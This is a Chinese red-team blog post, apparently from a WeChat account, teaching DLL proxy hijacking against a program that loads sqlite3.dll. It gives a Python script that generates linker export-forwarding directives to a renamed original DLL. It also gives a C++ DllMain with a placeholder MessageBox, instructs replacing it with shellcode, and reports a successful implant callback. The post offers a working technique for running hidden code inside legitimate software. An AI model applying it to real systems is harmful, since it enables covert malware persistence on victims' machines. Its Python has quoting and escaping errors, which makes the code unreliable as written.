查看程序加载DLL情况:
需要找到一个非数字前面文件,不然程序可能会校验签名:
查看Dll的导出函数:
代理:
#pragma comment(linker, "/EXPORT:FuncName=Dll.FuncName")
使用脚本进行批处理:
with open("sqlite3_ApiExportList.txt") as file:
for i in file:
list = i.split("n")[0].split(" ")
for x in list:
if x == "":
list.remove(x)
str = "#pragma comment(linker, "/EXPORT:{name}=sqlite3.{name}")".format(name=list[1].strip())
print(str)
处理完成后是这样的:
C++ 代码:
// dllmain.cpp : 定义 DLL 应用程序的入口点。
#include "pch.h"
#pragma comment(linker, "/EXPORT:sqlite3_aggregate_context=sqliteback.sqlite3_aggregate_context")
/*其他的转发省略掉*/
BOOL APIENTRY DllMain( HMODULE hModule,
DWORD ul_reason_for_call,
LPVOID lpReserved
)
{
switch (ul_reason_for_call)
{
case DLL_PROCESS_ATTACH:
MessageBox(NULL,L"Hello",L"Hello",MB_OK);
case DLL_THREAD_ATTACH:
case DLL_THREAD_DETACH:
case DLL_PROCESS_DETACH:
break;
}
return TRUE;
}
测试:
然后将原文件改名为Sqliteback.dll,将此文件改名sqlite3.dll放入文件夹测试:
运行程序:
点击确定后成功打开原程序并无任何崩溃现象:
自行替换Shellcode
运行测试:
上线成功
微信群
创建了一个关于红队的交流群:
本文始发于微信公众号(夜暗心明):Dll代理-让程序可以正常运行的劫持
- 左青龙
- 微信扫一扫
-
- 右白虎
- 微信扫一扫
-
评论